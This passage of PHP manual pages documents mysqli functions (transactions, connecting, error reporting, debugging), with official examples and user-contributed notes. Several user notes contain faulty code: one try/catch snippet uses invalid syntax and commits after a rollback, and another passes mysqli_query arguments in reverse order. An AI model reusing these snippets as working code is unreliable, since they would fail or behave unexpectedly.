I found that an ‘exit’, instead of a PHP code bug, will not cause a problem. So there is an auto-rollback mechanism in place - it just fails miserably when PHP dies unexpectantly. Having to restarting apache is a pretty drastic measure to overcome a code bug.

To avoid this problem, I use “register_shutdown_function()” when I start a transaction, and set a flag to indicate a transaction is in process (because there is no unregister_shutdown_function()). See below. So the __shutdown_check() routine (I beleive it needs to be public) is called when the script bombs - which is able to invoke the rollback().

these are just the relevant bits to give u an idea...

<?php

public function begin_transaction() {
  $ret = $this->mysqli_obj->autocommit(false);
  $this->transaction_in_progress = true;
  register_shutdown_function(array($this, "__shutdown_check"));
}

public function __shutdown_check() {
  if ($this->transaction_in_progress) {
    $this->rollback();
  }
}

public function commit() {
  $ret = $this->mysqli_obj->commit();
  $this->transaction_in_progress = false;
}

public function rollback() {
  $ret = $this->mysqli_obj->rollback();
  $this->transaction_in_progress = false;
}
?>

True for PHP 5.1.6 + MySQL 5.0.24a.
will at phpfever dot com 27-Apr-2006 10:22
If you are using the mysql command line tool, here are some helpful hints for the autocommit feature:

1.  To view the current autocommit setting, you can use this query: select @@autocommit;  It will return the current setting as 1 or 0 (on or off)

2. You can manage the default autocommit feature in you my.cnf or my.ini by adding the following line: init_connect='set autocommit=0'.  I'm pretty sure this isn't in the documentation, but it does work.

Here are the current engines, as of MySQL 5.1dev that support transactions:

InnoDB
BerkeleyDB
Falcon

Falcon is very new, so beware using it on production systems.


Starts a transaction

  • « mysqli::autocommit
  • mysqli::change_user »
  • PHP Manual
  • mysqli
  • Starts a transaction

mysqli::begin_transaction

mysqli_begin_transaction

(PHP 5 >= 5.5.0)

mysqli::begin_transaction -- mysqli_begin_transaction — Starts a transaction

Description

Object oriented style (method):

public bool mysqli::begin_transaction ([ int $flags [, string $name ]] )

Procedural style:

bool mysqli_begin_transaction ( mysqli $link [, int $flags [, string $name ]] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

flags

name

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • mysqli_autocommit() - Turns on or off auto-committing database modifications
  • mysqli_commit() - Commits the current transaction
  • mysqli_rollback() - Rolls back current transaction

User Contributed Notes

There are no user contributed notes for this page.


Changes the user of the specified database connection

  • « mysqli::begin_transaction
  • mysqli::character_set_name »
  • PHP Manual
  • mysqli
  • Changes the user of the specified database connection

mysqli::change_user

mysqli_change_user

(PHP 5)

mysqli::change_user -- mysqli_change_user — Changes the user of the specified database connection

Description

Object oriented style

bool mysqli::change_user ( string $user , string $password , string $database )

Procedural style

bool mysqli_change_user ( mysqli $link , string $user , string $password , string $database )

Changes the user of the specified database connection and sets the current database.

In order to successfully change users a valid username and password parameters must be provided and that user must have sufficient permissions to access the desired database. If for any reason authorization fails, the current user authentication will remain.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

user

The MySQL user name.

password

The MySQL password.

database

The database to change to.

If desired, the NULL value may be passed resulting in only changing the user and not selecting a database. To select a database in this case use the mysqli_select_db() function.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

Using this command will always cause the current database connection to behave as if was a completely new database connection, regardless of if the operation was completed successfully. This reset includes performing a rollback on any active transactions, closing all temporary tables, and unlocking all locked tables.

Examples

Example #1 mysqli::change_user() example

Object oriented style

<?php

/* connect database test */
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Set Variable a */
$mysqli->query("SET @a:=1");

/* reset all and select a new database */
$mysqli->change_user("my_user", "my_password", "world");

if ($result = $mysqli->query("SELECT DATABASE()")) {
    $row = $result->fetch_row();
    printf("Default database: %s\n", $row[0]);
    $result->close();
}

if ($result = $mysqli->query("SELECT @a")) {
    $row = $result->fetch_row();
    if ($row[0] === NULL) {
        printf("Value of variable a is NULL\n");
    }
    $result->close();
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
/* connect database test */
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

/* check connection */
if (!$link) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Set Variable a */
mysqli_query($link, "SET @a:=1");

/* reset all and select a new database */
mysqli_change_user($link, "my_user", "my_password", "world");

if ($result = mysqli_query($link, "SELECT DATABASE()")) {
    $row = mysqli_fetch_row($result);
    printf("Default database: %s\n", $row[0]);
    mysqli_free_result($result);
}

if ($result = mysqli_query($link, "SELECT @a")) {
    $row = mysqli_fetch_row($result);
    if ($row[0] === NULL) {
        printf("Value of variable a is NULL\n");
    }
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Default database: world
Value of variable a is NULL

See Also

  • mysqli_connect() - Alias of mysqli::__construct
  • mysqli_select_db() - Selects the default database for database queries

User Contributed Notes

There are no user contributed notes for this page.


Returns the default character set for the database connection

  • « mysqli::change_user
  • mysqli::$client_info »
  • PHP Manual
  • mysqli
  • Returns the default character set for the database connection

mysqli::character_set_name

mysqli_character_set_name

(PHP 5)

mysqli::character_set_name -- mysqli_character_set_name — Returns the default character set for the database connection

Description

Object oriented style

string mysqli::character_set_name ( void )

Procedural style

string mysqli_character_set_name ( mysqli $link )

Returns the current character set for the database connection.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

The default character set for the current connection

Examples

Example #1 mysqli::character_set_name() example

Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Print current character set */
$charset = $mysqli->character_set_name();
printf ("Current character set is %s\n", $charset);

$mysqli->close();
?>

Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (!$link) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Print current character set */
$charset = mysqli_character_set_name($link);
printf ("Current character set is %s\n",$charset);

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Current character set is latin1_swedish_ci

See Also

  • mysqli_set_charset() - Sets the default client character set
  • mysqli_client_encoding() - Alias of mysqli_character_set_name
  • mysqli_real_escape_string() - Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

User Contributed Notes

There are no user contributed notes for this page.


Get MySQL client info

  • « mysqli::character_set_name
  • mysqli::$client_version »
  • PHP Manual
  • mysqli
  • Get MySQL client info

mysqli::$client_info

mysqli_get_client_info

(PHP 5)

mysqli::$client_info -- mysqli_get_client_info — Get MySQL client info

Description

Object oriented style

string $mysqli->client_info;

Procedural style

string mysqli_get_client_info ( mysqli $link )

Returns a string that represents the MySQL client library version.

Return Values

A string that represents the MySQL client library version

Examples

Example #1 mysqli_get_client_info

<?php

/* We don't need a connection to determine
   the version of mysql client library */

printf("Client library version: %s\n", mysqli_get_client_info());
?>

See Also

  • mysqli_get_client_version() - Returns the MySQL client version as an integer
  • mysqli_get_server_info() - Returns the version of the MySQL server
  • mysqli_get_server_version() - Returns the version of the MySQL server as an integer

User Contributed Notes

There are no user contributed notes for this page.


Returns the MySQL client version as a string

  • « mysqli::$client_info
  • mysqli::close »
  • PHP Manual
  • mysqli
  • Returns the MySQL client version as a string

mysqli::$client_version

mysqli_get_client_version

(PHP 5)

mysqli::$client_version -- mysqli_get_client_version — Returns the MySQL client version as a string

Description

Object oriented style

int $mysqli->client_version;

Procedural style

int mysqli_get_client_version ( mysqli $link )

Returns client version number as an integer.

Return Values

A number that represents the MySQL client library version in format: main_version*10000 + minor_version *100 + sub_version. For example, 4.1.0 is returned as 40100.

This is useful to quickly determine the version of the client library to know if some capability exists.

Examples

Example #1 mysqli_get_client_version

<?php

/* We don't need a connection to determine
   the version of mysql client library */

printf("Client library version: %d\n", mysqli_get_client_version());
?>

See Also

  • mysqli_get_client_info() - Get MySQL client info
  • mysqli_get_server_info() - Returns the version of the MySQL server
  • mysqli_get_server_version() - Returns the version of the MySQL server as an integer

User Contributed Notes

There are no user contributed notes for this page.


Closes a previously opened database connection

  • « mysqli::$client_version
  • mysqli::commit »
  • PHP Manual
  • mysqli
  • Closes a previously opened database connection

mysqli::close

mysqli_close

(PHP 5)

mysqli::close -- mysqli_close — Closes a previously opened database connection

Description

Object oriented style

bool mysqli::close ( void )

Procedural style

bool mysqli_close ( mysqli $link )

Closes a previously opened database connection.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns TRUE on success or FALSE on failure.

Examples

See mysqli_connect().

See Also

  • mysqli::__construct() - Open a new connection to the MySQL server
  • mysqli_init() - Initializes MySQLi and returns a resource for use with mysqli_real_connect()
  • mysqli_real_connect() - Opens a connection to a mysql server

User Contributed Notes

Anonymous 23-Apr-2010 11:43
The mysqli_close() function and object method only remove the ability to use the mysql object again in the script, essentially on the surface only nulling out all object parameters.

At least with PHP5.3.2 and Windows connecting by tcp, this differs by the old mysql_close() function in that it does not actually close out the tcp socket being used.  You should always use mysqli_kill() function before mysqli_close() to actually close and free up the tcp socket being used by PHP.  Garbage collection after script execution nor mysqli_close() do not kill the tcp socket on their own.  The socket would otherwise remain in 'wait' state for approximately 30 seconds, and any additional page loads/connection attempts would only add to the total number of open tcp connections.  This wait time does not appear to be configurable via PHP settings.

Also as of this version, mysqli created links cannot be "deactivated", and will continue to accumulate in process memory until the PHP server or process is restarted, essentially making mysqli.max_links = -1 required.
php at dafydd dot com 07-Nov-2008 10:03
I've had situations where database connections appeared to persist following php execution. So, now, my __destructor function explicitly contains a $cxn->close(). It hurts nothing, and helps avoid memory leaks.
win at alinto dot com 21-May-2008 11:52
There's nothing here about connexions automatically claused at the end of a script. About that, a little note from devzone.zend.com :

"Open connections (and similar resources) are automatically destroyed at the end of script execution. However, you should still close or free all connections, result sets and statement handles as soon as they are no longer required. This will help return resources to PHP and MySQL faster."


Commits the current transaction

  • « mysqli::close
  • mysqli::$connect_errno »
  • PHP Manual
  • mysqli
  • Commits the current transaction

mysqli::commit

mysqli_commit

(PHP 5)

mysqli::commit -- mysqli_commit — Commits the current transaction

Description

Object oriented style

bool mysqli::commit ([ int $flags [, string $name ]] )

Procedural style

bool mysqli_commit ( mysqli $link [, int $flags [, string $name ]] )

Commits the current transaction for the database connection.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

flags

A bitmask of MYSQLI_TRANS_COR_* constants.

name

If provided then COMMIT/*name*/ is executed.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.5.0 | Added flags and name parameters.

Examples

Example #1 mysqli::commit() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE Language LIKE CountryLanguage");

/* set autocommit to off */
$mysqli->autocommit(FALSE);

/* Insert some values */
$mysqli->query("INSERT INTO Language VALUES ('DEU', 'Bavarian', 'F', 11.2)");
$mysqli->query("INSERT INTO Language VALUES ('DEU', 'Swabian', 'F', 9.4)");

/* commit transaction */
if (!$mysqli->commit()) {
    print("Transaction commit failed\n");
    exit();
}

/* drop table */
$mysqli->query("DROP TABLE Language");

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

/* check connection */
if (!$link) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* set autocommit to off */
mysqli_autocommit($link, FALSE);

mysqli_query($link, "CREATE TABLE Language LIKE CountryLanguage");

/* Insert some values */
mysqli_query($link, "INSERT INTO Language VALUES ('DEU', 'Bavarian', 'F', 11.2)");
mysqli_query($link, "INSERT INTO Language VALUES ('DEU', 'Swabian', 'F', 9.4)");

/* commit transaction */
if (!mysqli_commit($link)) {
    print("Transaction commit failed\n");
    exit();
}

/* close connection */
mysqli_close($link);
?>

See Also

  • mysqli_autocommit() - Turns on or off auto-committing database modifications
  • mysqli_begin_transaction() - Starts a transaction
  • mysqli_rollback() - Rolls back current transaction
  • mysqli_savepoint() - Set a named transaction savepoint

User Contributed Notes

snchzantonio at gmail dot com 17-Aug-2013 02:38
I never recomend to use the ? with only one value variant like: $var = expression ? $var  : other_value or $var = expression ? null  : other_value ,and php suport Exception catchin so,use it :)

here my opinion abut lorenzo's post:

  <?php

//variants combined

$mysqli->autocommit(FALSE);

try{

  $mysqli->query("INSERT INTO myCity (id) VALUES (100)") or throw new Exception('error!');

// or we can use

  if( !$mysqli->query("INSERT INTO myCity (id) VALUES (200)"){
    throw new Exception('error!');
  }

}catch( Exception $e ){
  $mysqli->rollback();
}
$mysqli->commit();

?>
Bob Johnson 10-Sep-2009 07:42
The compactness of Lorenzo's code is admirable.
However, it is a good idea to also check  $mysqli->affected_rows to make sure that the INSERT statement did not fail.

<?php
$result_query = @mysqli_query($query, $connect);
                if (($result_query == false) &&
                   (mysqli_affected_rows($connect) == 0))
                 {
                    // verify the query executed completely and verify that it
                    // had impact on the table

                    $success = false;

                    // here also, the developer could choose to add a ROLLBACK
                    // statement
                }
?>
mvanlamz 31-Mar-2009 08:36
Please note that calling mysqli::commit() will NOT automatically set mysqli::autocommit() back to 'true'.

This means that any queries following mysqli::commit() will be rolled back when your script exits.
Lorenzo - webmaster AT 4tour DOT it 11-Feb-2009 12:12
This is an example to explain the powerful of the rollback and commit functions.
Let's suppose you want to be sure that all queries have to be executed without errors before writing data on the database.
Here's the code:

<?php
$all_query_ok=true; // our control variable

//we make 4 inserts, the last one generates an error
//if at least one query returns an error we change our control variable
$mysqli->query("INSERT INTO myCity (id) VALUES (100)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (200)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (300)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (100)") ? null : $all_query_ok=false; //duplicated PRIMARY KEY VALUE

//now let's test our control variable
$all_query_ok ? $mysqli->commit() : $mysqli->rollback();

$mysqli->close();
?>

hope to be helpful!


Returns the error code from last connect call

  • « mysqli::commit
  • mysqli::$connect_error »
  • PHP Manual
  • mysqli
  • Returns the error code from last connect call

mysqli::$connect_errno

mysqli_connect_errno

(PHP 5)

mysqli::$connect_errno -- mysqli_connect_errno — Returns the error code from last connect call

Description

Object oriented style

string $mysqli->connect_errno;

Procedural style

int mysqli_connect_errno ( void )

Returns the last error code number from the last call to mysqli_connect().

Note:

Client error message numbers are listed in the MySQL errmsg.h header file, server error message numbers are listed in mysqld_error.h. In the MySQL source distribution you can find a complete list of error messages and error numbers in the file Docs/mysqld_error.txt.

Return Values

An error code value for the last call to mysqli_connect(), if it failed. zero means no error occurred.

Examples

Example #1 $mysqli->connect_errno example

Object oriented style

<?php
$mysqli = @new mysqli('localhost', 'fake_user', 'my_password', 'my_db');

if ($mysqli->connect_errno) {
    die('Connect Error: ' . $mysqli->connect_errno);
}
?>

Procedural style

<?php
$link = @mysqli_connect('localhost', 'fake_user', 'my_password', 'my_db');

if (!$link) {
    die('Connect Error: ' . mysqli_connect_errno());
}
?>

The above examples will output:

Connect Error: 1045

See Also

  • mysqli_connect() - Alias of mysqli::__construct
  • mysqli_connect_error() - Returns a string description of the last connect error
  • mysqli_errno() - Returns the error code for the most recent function call
  • mysqli_error() - Returns a string description of the last error
  • mysqli_sqlstate() - Returns the SQLSTATE error from previous MySQL operation

User Contributed Notes

Daro AP 06-Aug-2014 05:16
'errmsg.h' and 'mysqld_error.h' files only have the definitions of the error codes. In the MySQL documentation you can find the definition along with the message it displays, which could be more useful since the error constant name isn't always explicit enough.

Client Error Codes and Messages
http://dev.mysql.com/doc/refman/5.6/en/error-messages-client.html

Server Error Codes and Messages
http://dev.mysql.com/doc/refman/5.6/en/error-messages-server.html


Returns a string description of the last connect error

  • « mysqli::$connect_errno
  • mysqli::__construct »
  • PHP Manual
  • mysqli
  • Returns a string description of the last connect error

mysqli::$connect_error

mysqli_connect_error

(PHP 5)

mysqli::$connect_error -- mysqli_connect_error — Returns a string description of the last connect error

Description

Object oriented style

string $mysqli->connect_error;

Procedural style

string mysqli_connect_error ( void )

Returns the last error message string from the last call to mysqli_connect().

Return Values

A string that describes the error. NULL is returned if no error occurred.

Examples

Example #1 $mysqli->connect_error example

Object oriented style

<?php
$mysqli = @new mysqli('localhost', 'fake_user', 'my_password', 'my_db');

// Works as of PHP 5.2.9 and 5.3.0.
if ($mysqli->connect_error) {
    die('Connect Error: ' . $mysqli->connect_error);
}
?>

Procedural style

<?php
$link = @mysqli_connect('localhost', 'fake_user', 'my_password', 'my_db');

if (!$link) {
    die('Connect Error: ' . mysqli_connect_error());
}
?>

The above examples will output:

Connect Error: Access denied for user 'fake_user'@'localhost' (using password: YES)

Notes

Warning

The mysqli->connect_error property only works properly as of PHP versions 5.2.9 and 5.3.0. Use the mysqli_connect_error() function if compatibility with earlier PHP versions is required.

See Also

  • mysqli_connect() - Alias of mysqli::__construct
  • mysqli_connect_errno() - Returns the error code from last connect call
  • mysqli_errno() - Returns the error code for the most recent function call
  • mysqli_error() - Returns a string description of the last error
  • mysqli_sqlstate() - Returns the SQLSTATE error from previous MySQL operation

User Contributed Notes

There are no user contributed notes for this page.


Open a new connection to the MySQL server

  • « mysqli::$connect_error
  • mysqli::debug »
  • PHP Manual
  • mysqli
  • Open a new connection to the MySQL server

mysqli::__construct

mysqli_connect

(PHP 5)

mysqli::__construct -- mysqli_connect — Open a new connection to the MySQL server

Description

Object oriented style

 mysqli::__construct
  ([ string $host = ini_get("mysqli.default_host")
 [, string $username = ini_get("mysqli.default_user")
 [, string $passwd = ini_get("mysqli.default_pw")
 [, string $dbname = ""
 [, int $port = ini_get("mysqli.default_port")
 [, string $socket = ini_get("mysqli.default_socket")
]]]]]] )

Procedural style

 mysqli mysqli_connect
  ([ string $host = ini_get("mysqli.default_host")
 [, string $username = ini_get("mysqli.default_user")
 [, string $passwd = ini_get("mysqli.default_pw")
 [, string $dbname = ""
 [, int $port = ini_get("mysqli.default_port")
 [, string $socket = ini_get("mysqli.default_socket")
]]]]]] )

Opens a connection to the MySQL Server running on.

Parameters

host

Can be either a host name or an IP address. Passing the NULL value or the string "localhost" to this parameter, the local host is assumed. When possible, pipes will be used instead of the TCP/IP protocol.

Prepending host by p: opens a persistent connection. mysqli_change_user() is automatically called on connections opened from the connection pool.

username

The MySQL user name.

passwd

If not provided or NULL, the MySQL server will attempt to authenticate the user against those user records which have no password only. This allows one username to be used with different permissions (depending on if a password as provided or not).

dbname

If provided will specify the default database to be used when performing queries.

port

Specifies the port number to attempt to connect to the MySQL server.

socket

Specifies the socket or named pipe that should be used.

Note:

Specifying the socket parameter will not explicitly determine the type of connection to be used when connecting to the MySQL server. How the connection is made to the MySQL database is determined by the host parameter.

Return Values

Returns an object which represents the connection to a MySQL Server.

Changelog

Version | Description
5.3.0 | Added the ability of persistent connections.

Examples

Example #1 mysqli::__construct() example

Object oriented style

<?php
$mysqli = new mysqli('localhost', 'my_user', 'my_password', 'my_db');

/*
 * This is the "official" OO way to do it,
 * BUT $connect_error was broken until PHP 5.2.9 and 5.3.0.
 */
if ($mysqli->connect_error) {
    die('Connect Error (' . $mysqli->connect_errno . ') '
            . $mysqli->connect_error);
}

/*
 * Use this instead of $connect_error if you need to ensure
 * compatibility with PHP versions prior to 5.2.9 and 5.3.0.
 */
if (mysqli_connect_error()) {
    die('Connect Error (' . mysqli_connect_errno() . ') '
            . mysqli_connect_error());
}

echo 'Success... ' . $mysqli->host_info . "\n";

$mysqli->close();
?>

Object oriented style when extending mysqli class

<?php

class foo_mysqli extends mysqli {
    public function __construct($host, $user, $pass, $db) {
        parent::__construct($host, $user, $pass, $db);

        if (mysqli_connect_error()) {
            die('Connect Error (' . mysqli_connect_errno() . ') '
                    . mysqli_connect_error());
        }
    }
}

$db = new foo_mysqli('localhost', 'my_user', 'my_password', 'my_db');

echo 'Success... ' . $db->host_info . "\n";

$db->close();
?>

Procedural style

<?php
$link = mysqli_connect('localhost', 'my_user', 'my_password', 'my_db');

if (!$link) {
    die('Connect Error (' . mysqli_connect_errno() . ') '
            . mysqli_connect_error());
}

echo 'Success... ' . mysqli_get_host_info($link) . "\n";

mysqli_close($link);
?>

The above examples will output:

Success... MySQL host info: localhost via TCP/IP

Notes

Note:

MySQLnd always assumes the server default charset. This charset is sent during connection hand-shake/authentication, which mysqlnd will use.

Libmysqlclient uses the default charset set in the my.cnf or by an explicit call to mysqli_options() prior to calling mysqli_real_connect(), but after mysqli_init().

Note:

OO syntax only: If a connection fails an object is still returned. To check if the connection failed then use either the mysqli_connect_error() function or the mysqli->connect_error property as in the preceding examples.

Note:

If it is necessary to set options, such as the connection timeout, mysqli_real_connect() must be used instead.

Note:

Calling the constructor with no parameters is the same as calling mysqli_init().

Note:

Error "Can't create TCP/IP socket (10106)" usually means that the variables_order configure directive doesn't contain character E. On Windows, if the environment is not copied the SYSTEMROOT environment variable won't be available and PHP will have problems loading Winsock.

See Also

  • mysqli_real_connect() - Opens a connection to a mysql server
  • mysqli_options() - Set options
  • mysqli_connect_errno() - Returns the error code from last connect call
  • mysqli_connect_error() - Returns a string description of the last connect error
  • mysqli_close() - Closes a previously opened database connection

User Contributed Notes

andres at 21brains dot com 03-Jun-2014 06:39
Please do use set_charset("utf8") after establishing the connection if you want to avoid weird string issues. I do not know why the documentation does not warn you about this kind of stuff.

We had a hard time figuring out what was going on since we were using mb_detect_encoding and it said everything was UTF-8, but of course the display was wrong. If we used iconv from ISO-8859-1 to UTF-8 the strings looked fine, even though everything in the database had the right collation. So in the end, it was the connection that was the filter and although the notes for this function mention default charsets, it almost reads as a sidenote instead of a central issue when dealing with UTF and PHP/MySQL.
fugyl13 at gmail dot com 02-Apr-2014 01:41
Note that on all >=Windows 7 Servers, a host name "localhost" will create a very expensive lookup (~1 Second).

That's because since Windows 7, the hosts file doesn't come with a preconfigured
127.0.0.1 localhost
anymore

So, if you notice a long connection creation, try "127.0.0.1" instead.
paul at mtnlist dot com 02-Jun-2013 05:19
If you want to connect via an alternate port (other than 3306), as you might when using an ssh tunnel to another host, using "localhost" as the hostname will not work.

Using 127.0.0.1 will work.  Apparently, if you specify the host as "localhost", the constructor ignores the port specified as an argument to the constructor.
oleg at mastak dot fi 19-Apr-2013 10:02
If you want to connect to local named pipe on windows and you get error "php_network_getaddresses: getaddrinfo failed: No such host is known. ", even if you using using "." as host, please check your if you are using mysqlnd driver: If this is true, then probably you need to update to version 5.4 of php:

Named pipes support for Windows was added in PHP version 5.4.0.
@ http://php.net/manual/en/mysqlnd.overview.php

Hopefully that will save you some time.
boukeversteegh at gmail dot com 18-Apr-2011 03:19
(php 5.3.3)

If $port is a string, such as "3306", mysqli::query() will not work, even though mysqli_connect_errno() reports no error (value 0)!

<?php
$mysqli = new mysqli("localhost", "user","password","database", "3306"); //port is a string!
$mysqli->query("SELECT 1;")->fetch_assoc();
// Fatal error: Call to a member function fetch_assoc() on a non-object
?>

This is particularly strange, since mysqli::query() should return a result object, or a boolean.

So, be careful when you read your port from a string or config file. Cast it to int first:
<?php
$port = (int)$port;
?>
Anonymous 14-Sep-2009 02:37
If you get an error like
  Can't connect to MySQL server on 'localhost' (10061)
and you use named pipes/socket connections (or aren't sure how you installed the MySQL server) try the following connect command:

<?php
mysqli_connect('.', $user_name, $password, $database_name, null, 'mysql');
?>

The '.' as hostname is absolutely necessary when using named pipes. 'localhost' won't work. 'mysql' is the standard name for the pipe/socket.
Slavyansk2.ru 26-Sep-2008 07:14
If you have error like "Trying to clone an uncloneable object of class..." when trying connect, add record

php_value zend.ze1_compatibility_mode 0

in your .htaccess file. This resolve connection problem.


Performs debugging operations

  • « mysqli::__construct
  • mysqli::dump_debug_info »
  • PHP Manual
  • mysqli
  • Performs debugging operations

mysqli::debug

mysqli_debug

(PHP 5)

mysqli::debug -- mysqli_debug — Performs debugging operations

Description

Object oriented style

bool mysqli::debug ( string $message )

Procedural style

bool mysqli_debug ( string $message )

Performs debugging operations using the Fred Fish debugging library.

Parameters

message

A string representing the debugging operation to perform

Return Values

Returns TRUE.

Notes

Note:

To use the mysqli_debug() function you must compile the MySQL client library to support debugging.

Examples

Example #1 Generating a Trace File

<?php

/* Create a trace file in '/tmp/client.trace' on the local (client) machine: */
mysqli_debug("d:t:o,/tmp/client.trace");

?>

See Also

  • mysqli_dump_debug_info() - Dump debugging information into the log
  • mysqli_report() - Alias of of mysqli_driver->report_mode

User Contributed Notes

Peter 10-May-2014 07:59
can there be more documenation with a small (but working) example script on how to use this ?

Some issues  (Ive seen the "same" code example in dozens of tutorials):-

( I'll use capitals for emphasis only)

QUESTION: what does D:T:O mean ? UNEXPLAINED.

QUESTION: Do we *ONLY* use these 3 lines in a self-contained script ? Does this log ALL future MYSQL commands ?

QUESTION :- Do we put that one line just

- immediately after we connect to MYSQL ?
- before we connect to MYSQL ?
- before our suspected error ?


Dump debugging information into the log

  • « mysqli::debug
  • mysqli::$errno »
  • PHP Manual
  • mysqli
  • Dump debugging information into the log

mysqli::dump_debug_info

mysqli_dump_debug_info

(PHP 5)

mysqli::dump_debug_info -- mysqli_dump_debug_info — Dump debugging information into the log

Description

Object oriented style

bool mysqli::dump_debug_info ( void )

Procedural style

bool mysqli_dump_debug_info ( mysqli $link )

This function is designed to be executed by an user with the SUPER privilege and is used to dump debugging information into the log for the MySQL Server relating to the connection.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • mysqli_debug() - Performs debugging operations

User Contributed Notes

There are no user contributed notes for this page.


Returns the error code for the most recent function call

  • « mysqli::dump_debug_info
  • mysqli::$error_list »
  • PHP Manual
  • mysqli
  • Returns the error code for the most recent function call

mysqli::$errno

mysqli_errno

(PHP 5)

mysqli::$errno -- mysqli_errno — Returns the error code for the most recent function call

Description

Object oriented style

int $mysqli->errno;

Procedural style

int mysqli_errno ( mysqli $link )

Returns the last error code for the most recent MySQLi function call that can succeed or fail.

Client error message numbers are listed in the MySQL errmsg.h header file, server error message numbers are listed in mysqld_error.h. In the MySQL source distribution you can find a complete list of error messages and error numbers in the file Docs/mysqld_error.txt.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

An error code value for the last call, if it failed. zero means no error occurred.

Examples

Example #1 $mysqli->errno example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if ($mysqli->connect_errno) {
    printf("Connect failed: %s\n", $mysqli->connect_error);
    exit();
}

if (!$mysqli->query("SET a=1")) {
    printf("Errorcode: %d\n", $mysqli->errno);
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if (!mysqli_query($link, "SET a=1")) {
    printf("Errorcode: %d\n", mysqli_errno($link));
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Errorcode: 1193

See Also

  • mysqli_connect_errno() - Returns the error code from last connect call
  • mysqli_connect_error() - Returns a string description of the last connect error
  • mysqli_error() - Returns a string description of the last error
  • mysqli_sqlstate() - Returns the SQLSTATE error from previous MySQL operation

User Contributed Notes

erwin at transpontine dot com 28-Jun-2013 02:31
You can also find the error codes for for example MySQL 5.5 here: http://dev.mysql.com/doc/refman/5.5/en/error-handling.html


Returns a list of errors from the last command executed

  • « mysqli::$errno
  • mysqli::$error »
  • PHP Manual
  • mysqli
  • Returns a list of errors from the last command executed

mysqli::$error_list

mysqli_error_list

(PHP 5 >= 5.4.0)

mysqli::$error_list -- mysqli_error_list — Returns a list of errors from the last command executed

Description

Object oriented style

array $mysqli->error_list;

Procedural style

array mysqli_error_list ( mysqli $link )

Returns a array of errors for the most recent MySQLi function call that can succeed or fail.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

A list of errors, each as an associative array containing the errno, error, and sqlstate.

Examples

Example #1 $mysqli->error_list example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "nobody", "");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if (!$mysqli->query("SET a=1")) {
    print_r($mysqli->error_list);
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if (!mysqli_query($link, "SET a=1")) {
    print_r(mysqli_error_list($link));
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Array
(
    [0] => Array
        (
            [errno] => 1193
            [sqlstate] => HY000
            [error] => Unknown system variable 'a'
        )

)

See Also

  • mysqli_connect_errno() - Returns the error code from last connect call
  • mysqli_connect_error() - Returns a string description of the last connect error
  • mysqli_error() - Returns a string description of the last error
  • mysqli_sqlstate() - Returns the SQLSTATE error from previous MySQL operation

User Contributed Notes

There are no user contributed notes for this page.


Returns a string description of the last error

  • « mysqli::$error_list
  • mysqli::$field_count »
  • PHP Manual
  • mysqli
  • Returns a string description of the last error

mysqli::$error

mysqli_error

(PHP 5)

mysqli::$error -- mysqli_error — Returns a string description of the last error

Description

Object oriented style

string $mysqli->error;

Procedural style

string mysqli_error ( mysqli $link )

Returns the last error message for the most recent MySQLi function call that can succeed or fail.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

A string that describes the error. An empty string if no error occurred.

Examples

Example #1 $mysqli->error example

Object oriented style

<?php
